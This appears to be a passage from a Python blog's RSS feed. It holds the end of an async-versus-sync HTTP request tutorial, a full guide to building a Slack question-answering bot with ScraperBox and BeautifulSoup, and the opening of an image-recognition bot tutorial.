    <span class="hljs-title"><span class="hljs-keyword">for</span></span> <span class="hljs-title">web</span> <span class="hljs-title">in</span> <span class="hljs-title">GAFAM</span>:
        <span class="hljs-title">_get_resp</span>(<span class="hljs-title">web</span>)  


<span class="hljs-title"><span class="hljs-keyword">if</span></span> <span class="hljs-title">__name__</span> <span class="hljs-operator">=</span><span class="hljs-operator">=</span> <span class="hljs-string">"__main__"</span>:
    <span class="hljs-title">s_start</span> <span class="hljs-operator">=</span> <span class="hljs-title">time</span>.<span class="hljs-title">time</span>()
    <span class="hljs-title">sync_run</span>()
    <span class="hljs-title">s_end</span> <span class="hljs-operator">=</span> <span class="hljs-title">time</span>.<span class="hljs-title">time</span>()
    <span class="hljs-title">s_total</span> <span class="hljs-operator">=</span> <span class="hljs-title">s_end</span> <span class="hljs-operator">-</span> <span class="hljs-title">s_start</span>
    <span class="hljs-title">print</span>(<span class="hljs-string">"sync_run: %.4f"</span> <span class="hljs-operator">%</span> <span class="hljs-title">s_total</span>)
</code></pre><p>As you can see, only the synchronous version of the app is in the above example. So the idea, as I said earlier, is to ping a list of websites and to check if we can get a successful (200) response from each of them. In order to do so, we will make use of  <a target="_blank" href="https://docs.python-requests.org/en/latest/user/quickstart/"><code>requests</code></a> python package. We just want to make a simple <code>GET</code> request and check for the response. Inside the <code>sync_run()</code> method we are doing just that along with printing out everything that failed with a non-successful response. If you run the code above, <strong>you will indeed get an error</strong> - <code>Error: https://amazon.com - 503</code>. The reason why that happened is that some websites don't really like to get scrapped (targeted by bots) and they <strong>filter out such requests</strong>. The way most of them do that is by checking the request headers for  <a target="_blank" href="https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/User-Agent"><code>User-Agent</code></a> header. That is the exact reason why we installed the  <a target="_blank" href="https://github.com/KateWang2016/fake_user_agent"><code>fake_user_agent</code></a> python package. We want our bot to act like a human and therefore we will set its <code>User-Agent</code> header to one of the legitimate ones that you would see <strong>coming from the user</strong>. </p>
<p>Let's add another constant, above the <code>GAFAM</code> one, called <code>USER_AGENT</code> along with the needed import like this:</p>
<pre><code><span class="hljs-keyword">from</span> fake_user_agent.main <span class="hljs-keyword">import</span> <span class="hljs-title">user_agent</span>


<span class="hljs-title">USER_AGENT</span> <span class="hljs-operator">=</span> <span class="hljs-title">user_agent</span>(<span class="hljs-string">"chrome"</span>)
</code></pre><p>Now we need to make use of the <code>USER_AGENT</code> constant by injecting it into the <code>headers</code> parameter inside of our <code>requests</code> call (1st line of inside the inner <code>_get_resp()</code> method) like this:</p>
<pre><code>resp <span class="hljs-operator">=</span> requests.get(url, headers<span class="hljs-operator">=</span>{<span class="hljs-string">"User-agent"</span>: USER_AGENT})
</code></pre><p>Your code should now be error-free upon execution. Now that the synchronous part is done, we will move on to the <code>async</code> counterpart. We will make use of the <code>async</code> alternative for the <code>requests</code> package called  <a target="_blank" href="https://docs.aiohttp.org/en/stable/client_quickstart.html"><code>aiohttp</code></a>. Also, I will show you how to run tasks in parallel by making use of the <code>asyncio</code> python package.</p>
<p>Each asynchronous method starts with the <code>async def</code> keywords (unlike the synchronous <code>def</code> keyword). These methods are called  <a target="_blank" href="https://docs.python.org/3/library/asyncio-task.html#coroutines"><strong>coroutines</strong></a>. Every coroutine needs to be <code>await</code>-ed in order to get the response from the method. If you do not <code>await</code> your coroutine, it will never return the result since it will never execute.
Since we have a specific case where we want to execute multiple requests, we should <strong>create a <code>task list</code></strong> that we will then execute all at once. Let's build our <code>async</code> version and analyze the code:</p>
<pre><code><span class="hljs-keyword">import</span> asyncio
<span class="hljs-keyword">import</span> time

<span class="hljs-keyword">import</span> aiohttp
<span class="hljs-keyword">from</span> fake_user_agent.main <span class="hljs-keyword">import</span> user_agent


USER_AGENT = user_agent(<span class="hljs-string">"chrome"</span>)
GAFAM = [
    <span class="hljs-string">"https://google.com"</span>,
    <span class="hljs-string">"https://amazon.com"</span>,
    <span class="hljs-string">"https://facebook.com"</span>,
    <span class="hljs-string">"https://www.apple.com"</span>,
    <span class="hljs-string">"https://www.microsoft.com"</span>,
]


<span class="hljs-keyword">async</span> <span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">async_run</span>() -&gt; <span class="hljs-keyword">None</span>:</span>
    <span class="hljs-keyword">async</span> <span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">_get_resp</span>(<span class="hljs-params">url: str</span>):</span>
        <span class="hljs-keyword">async</span> <span class="hljs-keyword">with</span> aiohttp.ClientSession() <span class="hljs-keyword">as</span> session:
            <span class="hljs-keyword">async</span> <span class="hljs-keyword">with</span> session.get(url, headers={<span class="hljs-string">"User-agent"</span>: USER_AGENT}) <span class="hljs-keyword">as</span> resp:
                <span class="hljs-keyword">if</span> <span class="hljs-keyword">not</span> resp.status == <span class="hljs-number">200</span>:
                    print(<span class="hljs-string">f"Error: <span class="hljs-subst">{url}</span> - <span class="hljs-subst">{resp.status}</span>"</span>)

    tasks = []
    <span class="hljs-keyword">for</span> web <span class="hljs-keyword">in</span> GAFAM:
        tasks.append(_get_resp(web))
    <span class="hljs-keyword">await</span> asyncio.gather(*tasks)


<span class="hljs-keyword">if</span> __name__ == <span class="hljs-string">"__main__"</span>:
    a_start = time.time()
    asyncio.run(async_run())
    a_end = time.time()
    a_total = a_end - a_start
    print(<span class="hljs-string">"async_run: %.4f"</span> % a_total)
</code></pre><p>Obviously, the code is very similar to the <code>sync</code> version from earlier on. The key difference is that this time we execute all of the tasks (pings to the websites) together. We create a task list - <code>tasks</code> - that hold the calls to the inner coroutine <code>_get_resp()</code> with a different <code>url</code> parameter each time. I already mentioned that coroutines need to be <code>await</code>-ed in order to get the tasks to actually execute. We will achieve this by using  <a target="_blank" href="https://docs.python.org/3/library/asyncio-task.html#running-tasks-concurrently"><code>asyncio.gather()</code></a> which will <strong>run all of the tasks concurrently</strong>. Since the <code>gather()</code> method takes positional arguments instead of a single iterable (<code>tasks</code>) parameter, we need to unpack our list when using it. That way all of our tasks will be passed into <code>gather()</code> as separate arguments ready to be executed. The key part here is to <code>await</code> the <code>asyncio.gather()</code> in order to actually execute all of the tasks from the task list. Feel free to run the code. If you did everything ok, no errors should appear.</p>
<h2 id="heading-benchmarkconclusion">Benchmark/Conclusion</h2>
<p>The final part is the merge of the two versions and checking the results. Let's do so:</p>
<pre><code><span class="hljs-keyword">import</span> asyncio
<span class="hljs-keyword">import</span> time

<span class="hljs-keyword">import</span> aiohttp
<span class="hljs-keyword">import</span> requests
<span class="hljs-keyword">from</span> fake_user_agent.main <span class="hljs-keyword">import</span> user_agent


USER_AGENT = user_agent(<span class="hljs-string">"chrome"</span>)
GAFAM = [
    <span class="hljs-string">"https://google.com"</span>,
    <span class="hljs-string">"https://amazon.com"</span>,
    <span class="hljs-string">"https://facebook.com"</span>,
    <span class="hljs-string">"https://www.apple.com"</span>,
    <span class="hljs-string">"https://www.microsoft.com"</span>,
]


<span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">sync_run</span>() -&gt; <span class="hljs-keyword">None</span>:</span>
    <span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">_get_resp</span>(<span class="hljs-params">url: str</span>):</span>
        resp = requests.get(url, headers={<span class="hljs-string">"User-agent"</span>: USER_AGENT})
        <span class="hljs-keyword">if</span> <span class="hljs-keyword">not</span> resp.status_code == <span class="hljs-number">200</span>:
            print(<span class="hljs-string">f"Error: <span class="hljs-subst">{url}</span> - <span class="hljs-subst">{resp.status_code}</span>"</span>)

    <span class="hljs-keyword">for</span> web <span class="hljs-keyword">in</span> GAFAM:
        _get_resp(web)


<span class="hljs-keyword">async</span> <span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">async_run</span>() -&gt; <span class="hljs-keyword">None</span>:</span>
    <span class="hljs-keyword">async</span> <span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">_get_resp</span>(<span class="hljs-params">url: str</span>):</span>
        <span class="hljs-keyword">async</span> <span class="hljs-keyword">with</span> aiohttp.ClientSession() <span class="hljs-keyword">as</span> session:
            <span class="hljs-keyword">async</span> <span class="hljs-keyword">with</span> session.get(url, headers={<span class="hljs-string">"User-agent"</span>: USER_AGENT}) <span class="hljs-keyword">as</span> resp:
                <span class="hljs-keyword">if</span> <span class="hljs-keyword">not</span> resp.status == <span class="hljs-number">200</span>:
                    print(<span class="hljs-string">f"Error: <span class="hljs-subst">{url}</span> - <span class="hljs-subst">{resp.status}</span>"</span>)

    tasks = []
    <span class="hljs-keyword">for</span> web <span class="hljs-keyword">in</span> GAFAM:
        tasks.append(_get_resp(web))
    <span class="hljs-keyword">await</span> asyncio.gather(*tasks)


<span class="hljs-keyword">if</span> __name__ == <span class="hljs-string">"__main__"</span>:
    s_start = time.time()
    sync_run()
    s_end = time.time()
    s_total = s_end - s_start
    print(<span class="hljs-string">"sync_run: %.4f"</span> % s_total)
    a_start = time.time()
    asyncio.run(async_run())
    a_end = time.time()
    a_total = a_end - a_start
    print(<span class="hljs-string">"async_run: %.4f"</span> % a_total)
    print(<span class="hljs-string">"async_run - sync_run: %.4f"</span> % (s_total - a_total))
</code></pre><p>Once you run the full code you should see a <strong>huge difference</strong> between the two versions. In my case the output was:</p>
<pre><code><span class="hljs-attribute">sync_run</span>: <span class="hljs-number">2</span>.<span class="hljs-number">8083</span>
<span class="hljs-attribute">async_run</span>: <span class="hljs-number">0</span>.<span class="hljs-number">8769</span>
<span class="hljs-attribute">async_run</span> - sync_run: <span class="hljs-number">1</span>.<span class="hljs-number">9315</span>
</code></pre><p>Now, these numbers may not appear like that much of a big deal, but in reality, they actually are. We only tested five websites. Imagine what would happen if you try to check 100 000 websites. Even on this small set - in my case - we sped up our code by roughly <strong>68.68%</strong>. Since speed is money in web development (smaller server/infrastructure cost and lower resource usage), you just saved yourself a nice amount of money just by making use of asynchronous programming :)</p>
<p>That would be all from me for this one — as always, thanks for reading!</p>
]]></content:encoded></item><item><title><![CDATA[Build your question-answering Slack bot in Python]]></title><description><![CDATA[This post will help you create your own know-it-all Slack bot in Python in few very easy steps. The idea is to create a Slack bot that will respond to your questions in a public Slack channel with the information it will gather from the internet. No ...]]></description><link>https://blog.vojko.dev/build-your-own-question-answering-slack-bot-in-python-7ec652b47bf0</link><guid isPermaLink="true">https://blog.vojko.dev/build-your-own-question-answering-slack-bot-in-python-7ec652b47bf0</guid><category><![CDATA[Python]]></category><category><![CDATA[bot]]></category><category><![CDATA[QA]]></category><category><![CDATA[slack]]></category><category><![CDATA[HTML]]></category><dc:creator><![CDATA[Vojko Pribudić]]></dc:creator><pubDate>Thu, 07 Oct 2021 22:00:00 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/upload/v1634337566924/WHABkNchm.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<blockquote>
<p>This post will help you create your own know-it-all Slack bot in Python in few very easy steps. The idea is to create a Slack bot that will respond to your questions in a public Slack channel with the information it will gather from the internet. No AI will be used in this guide ;)</p>
<p><strong>NOTE</strong>: If you just want to see the code, <a target="_blank" href="https://gitlab.com/vojko.pribudic/slack-qa-bot">click here</a>.</p>
</blockquote>
<h2 id="heading-prerequisites">Prerequisites</h2>
<p>First thing’s first — some prerequisites before you get started:</p>
<ul>
<li><p><a target="_blank" href="https://www.python.org/downloads/">Python 3</a></p>
</li>
<li><p><a target="_blank" href="https://pypi.org/project/slack-bolt/">slack-bolt</a></p>
</li>
<li><p><a target="_blank" href="https://pypi.org/project/beautifulsoup4/">beautifulsoup4</a></p>
</li>
<li><p><a target="_blank" href="https://pypi.org/project/requests/">requests</a></p>
</li>
<li><p><a target="_blank" href="https://slack.com/">Slack</a></p>
</li>
<li><p><a target="_blank" href="https://scraperbox.com/">ScraperBox</a></p>
</li>
</ul>
<p>As always, I recommend you make use of <a target="_blank" href="https://docs.python.org/3/library/venv.html"><strong>venv</strong></a> to install the required python packages once we got to the coding part :)</p>
<h2 id="heading-1-configuring-slack">1. Configuring Slack</h2>
<p>By this point, you should have a Slack account along with your workspace (if you don’t, make sure you create it). We will head over to the <a target="_blank" href="https://api.slack.com/apps">Slack app's dashboard</a> and <strong>Create New App. </strong>Set the App name to “QA Bot” or something similar of your liking and select your workspace — click on <strong>Create App.</strong> Now that your bot is created, we need to configure it. Go to the <strong>“OAuth &amp; Permissions”</strong> tab (under “Features”<em>)</em> on the left panel. Under the “Bot Token Scopes” add the following:</p>
<ul>
<li><p><strong>app_mentions.read</strong></p>
</li>
<li><p><strong>chat:write</strong></p>
</li>
</ul>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1633562784112/dpcwMS-3z.png" alt="Bot Token Scopes configuration" /><em>Bot Token Scopes configuration</em></p>
<p>Now we need to enable <strong>“Socket Mode”</strong> for our bot. Socket mode will enable our bot to receive updates (events that occurred) directly instead of us exposing the public endpoint for Slack to ping when an event occurs. Go to the “Socket Mode” tab under “Settings” on the left side and activate the “Enable Socket Mode” toggle. You should see a popup asking you to configure an <strong>app-level token</strong>. Fill in the token name (for example qa-app-token). For the scope fill in:</p>
<ul>
<li><strong>connections:write</strong></li>
</ul>
<p>You will be presented with a token after you hit the “Generate” button. Save that token somewhere as we will need it later on (<code>APP_TOKEN</code>).</p>
<p>Once Socket Mode is enabled, we can (and will) enable <a target="_blank" href="https://api.slack.com/apis/connections/events-api"><strong>Event Subscriptions</strong></a>. Go to “Event Subscriptions” under “Features” in the left panel and toggle <strong>“Enable events”</strong>. Configure the “Subscribe to bot events” as per the image below.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1633562786253/fKDROINCr.png" alt="Subscribe to bot events configuration" /><em>Subscribe to bot events configuration</em></p>
<p>Under “Settings” head over to the “Install App” tab and add the app to your workspace. This will result in you getting the second token we need for later (<code>BOT_TOKEN</code>) under <strong>“Bot User OAuth Token”</strong>.</p>
<p>The only thing left is to create the <strong>public channel</strong> in your Slack workspace and invite (add) the bot user to it.</p>
<h2 id="heading-2-scraperbox">2. ScraperBox</h2>
<p>Now that our Slack bot is configured and assigned with proper permissions we need to head over to the <a target="_blank" href="https://scraperbox.com/"><strong>ScraperBox</strong></a> and create the free account. Since we will be gathering the information from the internet about the questions that you (or other Slack users) will be asking the QA Bot about, we need to somehow get the responses from <strong>Google</strong>. Since it is against Google’s TOS to scrape the search results, we will use ScraperBox as a 3rd party service to do this for us via <strong>API calls</strong>. After the registration process is done, head over to the <a target="_blank" href="https://scraperbox.com/dashboard">dashboard</a> to get your <strong>API Token</strong>.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1633562788330/c5BDz7d0f.png" alt="ScraperBox dashboard" /><em>ScraperBox dashboard</em></p>
<p>Save the token somewhere as it will be needed for our Python app to work.</p>
<h2 id="heading-3-python-app">3. Python app</h2>
<p>Since we have met all the other prerequisites, we can start building our Python app now. Create a <strong>new Python project</strong> and along it create a new <strong>venv</strong> that will hold our Python packages. Install the required Python packages:</p>
<pre><code>pip <span class="hljs-keyword">install</span> bs4
pip <span class="hljs-keyword">install</span> requests
pip <span class="hljs-keyword">install</span> slack-bolt
</code></pre><p>Once that is done, we can build our main <code>app.py</code> file:</p>
<pre><code><span class="hljs-keyword">from</span> typing <span class="hljs-keyword">import</span> <span class="hljs-title">Callable</span>

<span class="hljs-title"><span class="hljs-keyword">from</span></span> <span class="hljs-title">slack_bolt</span> <span class="hljs-title"><span class="hljs-keyword">import</span></span> <span class="hljs-title">App</span>
<span class="hljs-title"><span class="hljs-keyword">from</span></span> <span class="hljs-title">slack_bolt</span>.<span class="hljs-title">adapter</span>.<span class="hljs-title">socket_mode</span> <span class="hljs-title"><span class="hljs-keyword">import</span></span> <span class="hljs-title">SocketModeHandler</span>


<span class="hljs-title">APP_TOKEN</span> <span class="hljs-operator">=</span> <span class="hljs-string">"YOUR-APP-TOKEN"</span>
<span class="hljs-title">BOT_TOKEN</span> <span class="hljs-operator">=</span> <span class="hljs-string">"YOUR-BOT-TOKEN"</span>
<span class="hljs-title">app</span> <span class="hljs-operator">=</span> <span class="hljs-title">App</span>(<span class="hljs-title">token</span><span class="hljs-operator">=</span><span class="hljs-title">BOT_TOKEN</span>)


@<span class="hljs-title">app</span>.<span class="hljs-title"><span class="hljs-keyword">event</span></span>(<span class="hljs-string">"app_mention"</span>)
<span class="hljs-title">def</span> <span class="hljs-title">mention_handler</span>(<span class="hljs-title">body</span>: <span class="hljs-title">dict</span>, <span class="hljs-title">say</span>: <span class="hljs-title">Callable</span>):
    <span class="hljs-title">print</span>(<span class="hljs-title">body</span>)
    <span class="hljs-title">say</span>(<span class="hljs-string">"got it"</span>)    


<span class="hljs-title"><span class="hljs-keyword">if</span></span> <span class="hljs-title">__name__</span> <span class="hljs-operator">=</span><span class="hljs-operator">=</span> <span class="hljs-string">"__main__"</span>:
    <span class="hljs-title">handler</span> <span class="hljs-operator">=</span> <span class="hljs-title">SocketModeHandler</span>(<span class="hljs-title">app</span>, <span class="hljs-title">APP_TOKEN</span>)
    <span class="hljs-title">handler</span>.<span class="hljs-title">start</span>()
</code></pre><p>The idea is to <strong>test our bot</strong> and see how much information we can get from it once it reacts to users tagging it inside the Slack channel. Run the <code>app.py</code> and head over to your Slack client and tag the bot with some dummy text.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1633562790183/CWx9hjw3E.png" alt="Dummy test of our new bot" /><em>Dummy test of our new bot</em></p>
<p>Head over to your console (from where you ran the <code>app.py</code>) and check out the output in there — you should see some <strong>dictionary output</strong> in there containing some <strong>valuable info</strong> on all the information our bot gets from a simple mention inside the Slack channel:</p>
<pre><code>{
   <span class="hljs-attr">"token"</span>:<span class="hljs-string">"*******"</span>,
   <span class="hljs-attr">"team_id"</span>:<span class="hljs-string">"TEAM_ID"</span>,
   <span class="hljs-attr">"api_app_id"</span>:<span class="hljs-string">"APP_ID"</span>,
   <span class="hljs-attr">"event"</span>:{
      <span class="hljs-attr">"client_msg_id"</span>:<span class="hljs-string">"ea28d05d-***********"</span>,
      <span class="hljs-attr">"type"</span>:<span class="hljs-string">"app_mention"</span>,
      <span class="hljs-attr">"text"</span>:<span class="hljs-string">"&lt;@BOT_ID&gt; test"</span>,
      <span class="hljs-attr">"user"</span>:<span class="hljs-string">"SENDER_ID"</span>,
      <span class="hljs-attr">"ts"</span>:<span class="hljs-string">"1633536422.000600"</span>,
      <span class="hljs-attr">"team"</span>:<span class="hljs-string">"TEAM_ID"</span>,
      <span class="hljs-attr">"blocks"</span>:[
         {
            <span class="hljs-attr">"type"</span>:<span class="hljs-string">"rich_text"</span>,
            <span class="hljs-attr">"block_id"</span>:<span class="hljs-string">"Sq8"</span>,
            <span class="hljs-attr">"elements"</span>:[
               {
                  <span class="hljs-attr">"type"</span>:<span class="hljs-string">"rich_text_section"</span>,
                  <span class="hljs-attr">"elements"</span>:[
                     {
                        <span class="hljs-attr">"type"</span>:<span class="hljs-string">"user"</span>,
                        <span class="hljs-attr">"user_id"</span>:<span class="hljs-string">"SENDER_ID"</span>
                     },
                     {
                        <span class="hljs-attr">"type"</span>:<span class="hljs-string">"text"</span>,
                        <span class="hljs-attr">"text"</span>:<span class="hljs-string">" test"</span>
                     }
                  ]
               }
            ]
         }
      ],
      <span class="hljs-attr">"channel"</span>:<span class="hljs-string">"CHANNEL_ID"</span>,
      <span class="hljs-attr">"event_ts"</span>:<span class="hljs-string">"1633536422.000600"</span>
   },
   <span class="hljs-attr">"type"</span>:<span class="hljs-string">"event_callback"</span>,
   <span class="hljs-attr">"event_id"</span>:<span class="hljs-string">"Ev02GW7QE6QK"</span>,
   <span class="hljs-attr">"event_time"</span>:<span class="hljs-number">1633536422</span>,
   <span class="hljs-attr">"authorizations"</span>:[
      {
         <span class="hljs-attr">"enterprise_id"</span>:<span class="hljs-string">"None"</span>,
         <span class="hljs-attr">"team_id"</span>:<span class="hljs-string">"TEAM_ID"</span>,
         <span class="hljs-attr">"user_id"</span>:<span class="hljs-string">"BOT_ID"</span>,
         <span class="hljs-attr">"is_bot"</span>:<span class="hljs-literal">true</span>,
         <span class="hljs-attr">"is_enterprise_install"</span>:<span class="hljs-literal">false</span>
      }
   ],
   <span class="hljs-attr">"is_ext_shared_channel"</span>:<span class="hljs-literal">false</span>,
   <span class="hljs-attr">"event_context"</span>:<span class="hljs-string">"some_random_text"</span>
}
</code></pre><p>From here we can see some information that we can use to make our bot somewhat smart. We can see the Slack ID’s for both <code>sender</code> and <code>bot</code> which we will use. Also, we can see the text that the user sent. Let’s rewrite our <code>mention_handler</code> to make it a bit smarter:</p>
<pre><code>@app.event(<span class="hljs-string">"app_mention"</span>)
def mention_handler(body: dict, say: Callable):
    sender_id <span class="hljs-operator">=</span> f<span class="hljs-string">"&lt;@{body.get('event', {}).get('user')}&gt;"</span>
    say(f<span class="hljs-string">"Let me check that for you {sender_id}"</span>)
    bot_id <span class="hljs-operator">=</span> body.get(<span class="hljs-string">"event"</span>, {}).get(<span class="hljs-string">"text"</span>).split()[<span class="hljs-number">0</span>]
    message <span class="hljs-operator">=</span> body.get(<span class="hljs-string">"event"</span>, {}).get(<span class="hljs-string">"text"</span>)
    message <span class="hljs-operator">=</span> message.replace(bot_id, <span class="hljs-string">""</span>).strip()
    answer <span class="hljs-operator">=</span> get_answer(message)
    say(answer)
</code></pre><p>The idea here is simple — get the <code>sender</code> and <code>bot</code> ID’s and get the <code>text</code> that was sent by the <code>sender</code> after the <code>bot</code> mention. The problematic part is that we are <strong>missing the function</strong> <code>get_answer</code> that will get us the answer for the text that the <code>user</code> sent to the <code>bot</code>. Let’s go ahead and see how to make that one work. Create a new file called <code>scraperbox.py</code> and put this inside of it:</p>
<pre><code><span class="hljs-keyword">import</span> <span class="hljs-title">requests</span>
<span class="hljs-title"><span class="hljs-keyword">from</span></span> <span class="hljs-title">bs4</span> <span class="hljs-title"><span class="hljs-keyword">import</span></span> <span class="hljs-title">BeautifulSoup</span>


<span class="hljs-title">API_TOKEN</span> <span class="hljs-operator">=</span> <span class="hljs-string">"YOUR-SCRAPERBOX-API-TOKEN"</span>


<span class="hljs-title">def</span> <span class="hljs-title">_get_json_response</span>(<span class="hljs-title">query</span>: <span class="hljs-title">str</span>) <span class="hljs-operator">-</span><span class="hljs-operator">&gt;</span> <span class="hljs-title">dict</span>:
    <span class="hljs-title">params</span> <span class="hljs-operator">=</span> {
        <span class="hljs-string">"token"</span>: <span class="hljs-title">API_TOKEN</span>,
        <span class="hljs-string">"q"</span>: <span class="hljs-title">query</span>,
        <span class="hljs-string">"proxy_location"</span>: <span class="hljs-string">"gb"</span>,
        <span class="hljs-string">"return_html"</span>: <span class="hljs-string">"true"</span>,
    }
    <span class="hljs-title">resp</span> <span class="hljs-operator">=</span> <span class="hljs-title">requests</span>.<span class="hljs-title">get</span>(<span class="hljs-string">"https://api.scraperbox.com/google"</span>, <span class="hljs-title">params</span><span class="hljs-operator">=</span><span class="hljs-title">params</span>)
    <span class="hljs-title"><span class="hljs-keyword">return</span></span> <span class="hljs-title">resp</span>.<span class="hljs-title">json</span>()


<span class="hljs-title">def</span> <span class="hljs-title">get_answer</span>(<span class="hljs-title">query</span>: <span class="hljs-title">str</span>) <span class="hljs-operator">-</span><span class="hljs-operator">&gt;</span> <span class="hljs-title">str</span>:
    <span class="hljs-title">answer</span> <span class="hljs-operator">=</span> <span class="hljs-string">"No idea how to answer that :("</span>
    <span class="hljs-title">resp</span> <span class="hljs-operator">=</span> <span class="hljs-title">_get_json_response</span>(<span class="hljs-title">query</span>)

    <span class="hljs-title"><span class="hljs-keyword">if</span></span> <span class="hljs-string">"html"</span> <span class="hljs-title">not</span> <span class="hljs-title">in</span> <span class="hljs-title">resp</span>:
        <span class="hljs-title"><span class="hljs-keyword">return</span></span> <span class="hljs-title">answer</span>

    <span class="hljs-title">soup</span> <span class="hljs-operator">=</span> <span class="hljs-title">BeautifulSoup</span>(<span class="hljs-title">resp</span>[<span class="hljs-string">"html"</span>], <span class="hljs-string">"html.parser"</span>)
    <span class="hljs-title">el</span> <span class="hljs-operator">=</span> <span class="hljs-title">soup</span>.<span class="hljs-title">find</span>(<span class="hljs-string">"div"</span>, <span class="hljs-title">class_</span><span class="hljs-operator">=</span><span class="hljs-string">"kno-rdesc"</span>)

    <span class="hljs-title"><span class="hljs-keyword">if</span></span> <span class="hljs-title">not</span> <span class="hljs-title">el</span>:
        <span class="hljs-title"><span class="hljs-keyword">return</span></span> <span class="hljs-title">answer</span>

    <span class="hljs-title"><span class="hljs-keyword">return</span></span> <span class="hljs-title">el</span>.<span class="hljs-title">span</span>.<span class="hljs-title">text</span>
</code></pre><p>A LOT is going on in the above code so I will run it down briefly (feel free to explore it more by yourself). Function <code>_get_json_response</code> is the one that will send the <strong>API request</strong> to the ScraperBox service and get it to make a Google search for the text that the user tagged our Bot with. The <code>params</code> inside are added by following the <a target="_blank" href="https://scraperbox.com/documentation/google-search">ScraperBox docs</a> for Google. The idea is to make a Google search for the given text and get <strong>the whole HTML response</strong> back (inside a Python dictionary).</p>
<p>Let’s make a simple Google search for the term “who was Nikola Tesla” and see what we can get.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1633562793696/FpTv5J6D7.png" alt="Google search for the term “who was Nikola Tesla”" /><em>Google search for the term “who was Nikola Tesla”</em></p>
<p>As you can see on the image above, the <strong>right side</strong> contains a short and precise summary of the search term that we looked for. We also have this information in our Python app since we have the whole HTML response stored, we only need to find a way to <strong>extract that information</strong> from the whole HTML returned. This is where <code>beautifulsoup4</code> comes in handy since it is used for parsing HTML content with Python. If we check the HTML code from the above Google results, we will find that the information we need is stored inside the <code>div</code> element with a class named <code>kno-rdesc</code>.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1633562796563/DyYVi0UiU.png" alt="Div element containing the wanted information" /><em>Div element containing the wanted information</em></p>
<p>We can use this information to <strong>parse out the wanted content</strong>, so let’s take a look at the function <code>get_answer</code>. First, we set the default value for the <code>answer</code> variable to <code>No idea how to answer that :(</code> — this will be used in case Google doesn’t have the answer to the user’s question. Afterward, we call <code>_get_json_response</code> with the <code>query</code> param (text that the user sent to the bot user) to get the Google search response along with the complete HTML representation. If the <code>html</code> is not present inside the response dictionary we will respond with the default answer. Next we parse out the HTML inside the <code>soup</code> object and try to find the <code>div</code> element with the <code>class</code> attribute set to <code>kno-rdesc</code> as per the image above. If it fails we will, again, return the default <code>answer</code> — otherwise, we will look for the child <code>span</code> element (as per structure in the above image) and return its inner <code>text</code>. The last thing to do is to add the needed import in our <code>app.py</code> :</p>
<pre><code><span class="hljs-keyword">from</span> scraperbox <span class="hljs-keyword">import</span> get_answer
</code></pre><p>Feel free to run the <code>app.py</code> and if everything goes well you should get all your questions answered by our QA Bot :)</p>
<p>Complete code can be found <a target="_blank" href="https://gitlab.com/vojko.pribudic/slack-qa-bot">here</a>.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1633562799160/6WFhwRUOb.png" alt="Examples of our new Bot trying to answer our questions" /><em>Examples of our new Bot trying to answer our questions</em></p>
<p>There we go — you just made Siri / Alexa alternative for your Slack workspace — as always, thanks for reading!</p>
]]></content:encoded></item><item><title><![CDATA[Create image recognition bot with Python]]></title><description><![CDATA[Building an image recognition bot can greatly help you offload your day-to-day manual work and save you some precious time. By using PyAutoGUI along with OpenCV you can create such bots with ease :)
NOTE: if you want to skip the guide and just see th...]]></description><link>https://blog.vojko.dev/create-image-recognition-bot-with-python-8524dfce4b95</link><guid isPermaLink="true">https://blog.vojko.dev/create-image-recognition-bot-with-python-8524dfce4b95</guid><category><![CDATA[Python]]></category><category><![CDATA[opencv]]></category><category><![CDATA[bot]]></category><category><![CDATA[image processing]]></category><category><![CDATA[AI]]></category><dc:creator><![CDATA[Vojko Pribudić]]></dc:creator><pubDate>Wed, 06 Oct 2021 22:00:00 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/upload/v1634337632132/4SdtieIVY.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<blockquote>
<p>Building an image recognition bot can greatly help you offload your day-to-day manual work and save you some precious time. By using <strong>PyAutoGUI</strong> along with <strong>OpenCV</strong> you can create such bots with ease :)</p>
<p><strong>NOTE: </strong>if you want to skip the guide and just see the code example, click <a target="_blank" href="https://gitlab.com/vojko.pribudic/reflex-clicker">here</a></p>
</blockquote>
<h2 id="heading-prerequisites">Prerequisites</h2>
<p>To start this simple, yet powerful journey you should have the following installed:</p>
<ul>
<li><p><a target="_blank" href="https://www.python.org/downloads/">Python 3</a></p>
</li>
<li><p><a target="_blank" href="https://pypi.org/project/PyAutoGUI/">PyAutoGUI</a></p>
</li>
<li><p><a target="_blank" href="https://pypi.org/project/opencv-python/">opencv-python</a></p>
</li>
<li><p><a target="_blank" href="https://pypi.org/project/numpy/">numpy</a></p>
</li>
<li><p><a target="_blank" href="https://pypi.org/project/Pillow/">Pillow</a></p>
</li>
</ul>
<p>I highly recommend that you make use of <a target="_blank" href="https://docs.python.org/3/library/venv.html"><strong>venv</strong></a> to install the packages. This way you will keep your host machine free and clean from project-specific packages.</p>
<h2 id="heading-1-target">1. Target</h2>
<p>First, you need to find your target — something that has specific “<strong>triggers</strong>” that could help you automate whatever it is that you want to do. I picked <a target="_blank" href="https://humanbenchmark.com/"><strong>Human Benchmark</strong></a> since they do have some fun tests there which will, later on, help us do some benchmarks too. Once you open up the site you will notice there are quite a few tests in form of mini-games there that one could try out. The one that got my attention is called <a target="_blank" href="https://humanbenchmark.com/tests/reactiontime">Reaction Time</a>.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1633562804859/OC0gxIUrS.png" alt="Human Benchmark — Reaction Time" /><em>Human Benchmark — Reaction Time</em></p>
